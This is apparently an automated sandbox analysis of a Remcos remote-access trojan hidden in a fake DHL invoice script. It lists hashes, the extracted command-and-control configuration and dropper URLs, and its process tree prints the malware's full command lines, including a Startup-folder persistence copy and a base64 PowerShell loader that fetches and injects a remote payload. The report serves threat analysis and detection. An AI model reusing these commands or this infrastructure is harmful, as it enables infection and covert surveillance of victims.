remcos | de75cc32ecf78278545898dcaef4146a260025f731da74ca01496e449be7a971

General

Target

DHL__WB 1391078651 & Duty Invoice_pdf.vbs
Size

151KB
MD5

ff8212965e057afb4e0946517ec05f68
SHA1

3d1e2b49c8d6c57e08bfbd00a83ca1404af9dca4
SHA256

d17e5a5ff4aa847109dbd63cd69ffbb6d6dd85c6578c58da91b1656e6641b8c1
SHA512

1581ebef93d2fcf133f7367552b725e3d67340b26c163878ee744a1fe7b263b74c6ae4112e12d63e73557cab3d569986a5a3cd2eeb06f1a3b6a6c14557ef1229
SSDEEP

3072:qYf8nkleSrzLv/Iu6KjrCuvYf8nkleSrzLv/Iu6oYf8nkleSrzLv/Iu6c:qYf8nMZP/Iu6UYf8nMZP/Iu6oYf8nMZB

Score

10^/10

remcos ood discovery execution rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg%20

exe.dropper

https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg%20

Extracted

Family

remcos

Botnet

ood

C2

goody.work.gd:4173

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
vlc
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
true
keylog_file
logs.dat
keylog_flag
false
keylog_folder
ios
mouse_option
false
mutex
gig-R8G1B2
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
startup_value
sos
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Blocklisted process makes network request 2 IoCs

flow	pid	Process
15	1760	powershell.exe
24	1760	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CJJ.vbs	WScript.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CJJ.vbs	WScript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1760	powershell.exe
552	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1760 set thread context of 2236	1760	powershell.exe	96

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AddInProcess32.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
540	cmd.exe
4912	PING.EXE

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4912	PING.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
552	powershell.exe
552	powershell.exe
1760	powershell.exe
1760	powershell.exe
1760	powershell.exe
1760	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	552	powershell.exe
Token: SeDebugPrivilege	1760	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2236	AddInProcess32.exe

Suspicious use of WriteProcessMemory 23 IoCs

description	pid	Process	procid_target
PID 3644 wrote to memory of 540	3644	WScript.exe	82
PID 3644 wrote to memory of 540	3644	WScript.exe	82
PID 540 wrote to memory of 4912	540	cmd.exe	84
PID 540 wrote to memory of 4912	540	cmd.exe	84
PID 540 wrote to memory of 552	540	cmd.exe	89
PID 540 wrote to memory of 552	540	cmd.exe	89
PID 3644 wrote to memory of 1760	3644	WScript.exe	91
PID 3644 wrote to memory of 1760	3644	WScript.exe	91
PID 1760 wrote to memory of 3660	1760	powershell.exe	95
PID 1760 wrote to memory of 3660	1760	powershell.exe	95
PID 1760 wrote to memory of 3660	1760	powershell.exe	95
PID 1760 wrote to memory of 2236	1760	powershell.exe	96
PID 1760 wrote to memory of 2236	1760	powershell.exe	96
PID 1760 wrote to memory of 2236	1760	powershell.exe	96
PID 1760 wrote to memory of 2236	1760	powershell.exe	96
PID 1760 wrote to memory of 2236	1760	powershell.exe	96
PID 1760 wrote to memory of 2236	1760	powershell.exe	96
PID 1760 wrote to memory of 2236	1760	powershell.exe	96
PID 1760 wrote to memory of 2236	1760	powershell.exe	96
PID 1760 wrote to memory of 2236	1760	powershell.exe	96
PID 1760 wrote to memory of 2236	1760	powershell.exe	96
PID 1760 wrote to memory of 2236	1760	powershell.exe	96
PID 1760 wrote to memory of 2236	1760	powershell.exe	96

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\DHL__WB 1391078651 & Duty Invoice_pdf.vbs"
1⤵
- Checks computer location settings
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:3644
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\DHL__WB 1391078651 & Duty Invoice_pdf.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.JJC.vbs')')
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:540
- - C:\Windows\system32\PING.EXE
    ping 127.0.0.1 -n 10
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:4912
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\DHL__WB 1391078651
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:552
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $solitons = 'JG1pc3MgPSAnaHR0cHM6Ly9yZXMuY2xvdWRpbmFyeS5jb20vZHl0Zmx0NjFuL2ltYWdlL3VwbG9hZC92MTczMzEzNDk0Ny9ia2xweXNleWV1dDRpbXB3NTBuMS5qcGcgJzskYmFwdGlzaWFzID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDskbnVtYmxlcyA9ICRiYXB0aXNpYXMuRG93bmxvYWREYXRhKCRtaXNzKTskcmVwcm9jZXNzID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcoJG51bWJsZXMpOyRkcm9uaXNoID0gJzw8QkFTRTY0X1NUQVJUPj4nOyRzdWJtYW5kaWJ1bGFycyA9ICc8PEJBU0U2NF9FTkQ+Pic7JGdyYXZlc3RvbmUgPSAkcmVwcm9jZXNzLkluZGV4T2YoJGRyb25pc2gpOyRzdG9wcGxlID0gJHJlcHJvY2Vzcy5JbmRleE9mKCRzdWJtYW5kaWJ1bGFycyk7JGdyYXZlc3RvbmUgLWdlIDAgLWFuZCAkc3RvcHBsZSAtZ3QgJGdyYXZlc3RvbmU7JGdyYXZlc3RvbmUgKz0gJGRyb25pc2guTGVuZ3RoOyRsb2xsb3BzID0gJHN0b3BwbGUgLSAkZ3JhdmVzdG9uZTskcHJlY2FuY2VycyA9ICRyZXByb2Nlc3MuU3Vic3RyaW5nKCRncmF2ZXN0b25lLCAkbG9sbG9wcyk7JGNhdWRhbCA9IC1qb2luICgkcHJlY2FuY2Vycy5Ub0NoYXJBcnJheSgpIHwgRm9yRWFjaC1PYmplY3QgeyAkXyB9KVstMS4uLSgkcHJlY2FuY2Vycy5MZW5ndGgpXTskZ3JhemVkID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkY2F1ZGFsKTskcGFybGF5ZWQgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRncmF6ZWQpOyRiYWNrc2xpZGVzID0gW2RubGliLklPLkhvbWVdLkdldE1ldGhvZCgnVkFJJyk7JGJhY2tzbGlkZXMuSW52b2tlKCRudWxsLCBAKCcwL3RFbkluL3IvZWUuZXRzYXAvLzpzcHR0aCcsICckbGFzcycsICckbGFzcycsICckbGFzcycsICdBZGRJblByb2Nlc3MzMicsICckbGFzcycsICckbGFzcycsJyRsYXNzJywnJGxhc3MnLCckbGFzcycsJyRsYXNzJywnJGxhc3MnLCcxJywnJGxhc3MnKSk7';$endbrain = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($solitons));Invoke-Expression $endbrain
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1760
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
    3⤵
    PID:3660
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of SetWindowsHookEx
    PID:2236

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

Remote System Discovery

1

T1018

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

System Network Configuration Discovery

1

T1016

Internet Connection Discovery

1

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\ios\logs.dat

Filesize
144B

MD5
88f61043b0aaae7620776ffbc5d01896

SHA1
590e78eda65ee1d0b3de4819a3c2a5800c996545

SHA256
eeaa6b81f7c1bf422631b75689d47b2a5e012dd3253ef5a097fbe5a165281aa8

SHA512
33f3f43911de6c36848be86d5312dd251d95169abdfa137c71c200b4a689c53e6ec33d3d8fbfd6e621afafc4bba8e8452becaf59023f790622952dd834a27221

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
6d42b6da621e8df5674e26b799c8e2aa

SHA1
ab3ce1327ea1eeedb987ec823d5e0cb146bafa48

SHA256
5ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c

SHA512
53faffbda8a835bc1143e894c118c15901a5fd09cfc2224dd2f754c06dc794897315049a579b9a8382d4564f071576045aaaf824019b7139d939152dca38ce29

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kanhswj0.km3.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/552-1-0x00007FFCE9323000-0x00007FFCE9325000-memory.dmp

Filesize
8KB

Download
memory/552-11-0x000001DCEFAC0000-0x000001DCEFAE2000-memory.dmp

Filesize
136KB

Download
memory/552-12-0x00007FFCE9320000-0x00007FFCE9DE1000-memory.dmp

Filesize
10.8MB

Download
memory/552-13-0x00007FFCE9320000-0x00007FFCE9DE1000-memory.dmp

Filesize
10.8MB

Download
memory/552-14-0x00007FFCE9320000-0x00007FFCE9DE1000-memory.dmp

Filesize
10.8MB

Download
memory/552-17-0x00007FFCE9320000-0x00007FFCE9DE1000-memory.dmp

Filesize
10.8MB

Download
memory/1760-29-0x000002417EB70000-0x000002417ECC8000-memory.dmp

Filesize
1.3MB

Download
memory/2236-39-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2236-57-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2236-36-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2236-37-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2236-38-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2236-32-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2236-40-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2236-42-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2236-30-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2236-49-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2236-50-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2236-33-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2236-58-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2236-67-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2236-66-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2236-74-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2236-75-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2236-82-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2236-83-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2236-90-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2236-91-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2236-99-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2236-100-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2236-107-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads